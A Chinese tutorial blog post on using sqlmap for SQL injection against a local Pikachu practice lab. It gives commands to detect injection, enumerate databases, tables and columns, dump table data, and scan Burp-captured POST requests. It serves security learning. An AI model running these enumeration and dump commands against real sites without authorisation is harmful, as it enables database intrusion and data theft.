zoukankan      html  css  js  c++  java
  • SQL注入之工具学习——SqlMap

    一、基本使用

      1.1 方法一(get请求)

      python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"   --batch

      解释:-u 为目标访问url ,--batch 指的是sqlmap不会询问你的输入,全部默认确定。当你不知道要选择yes/no的时候,可以加入此参数。

         

       出现上述页面说明存在sql注入漏洞。注入类型为盲注,数据库为mysql。我们可以获取数据库。

      >>> python sqlmap.py -u url --dbs --batch         获取数据库信息

         

      >>>python sqlmap -u url.py --current-db --batch  获取当前数据库信息

       >>>python sqlmap.py -u url -D database --tables --batch  获取当前数据库的所有表信息

      >>>python sqlmap.py -u url -D database -T table --columns --batch 获取数据库表字段信息

       >>>python sqlmap.py -u url -D database -T table -C " column_name1,column_name2"  --dump --batch 导出表字段中的内容数据。

      --dump-all   导出全部(慎重,这个会导出所有表的数据)

      --dump  --start 1 --stop 5   选择性导出,导出前几条数据。

       1.2 post请求(方法二)

        如果请求参数为post,在url中不显示可结合使用burpsuit进行抓包,将抓包拦截的数据保存成txt文件直接拖至sqlmap。

        >>>python sqlmap.py -r a.txt

        如果有多个请求可以全部写到一个txt文件中进行扫描。

    在任何时候去学习都不晚,永远不要放弃自己!人生就是一个不断去学习的过程,任何时候,只要你想学,Come on !
  • 相关阅读:
    第一个TS文件
    盒子模型
    不稳定的排序算法
    状态码Status Code
    从输入URL到页面加载完成发生了什么?
    JavaScript中var、let、const的区别
    explain 详解 (转)
    HttpServletRequest对象方法的用法 (转)
    数据一致性理解
    logback 使用详解 (转)
  • 原文地址:https://www.cnblogs.com/startingpoint-fly/p/12769117.html
Copyright © 2011-2022 走看看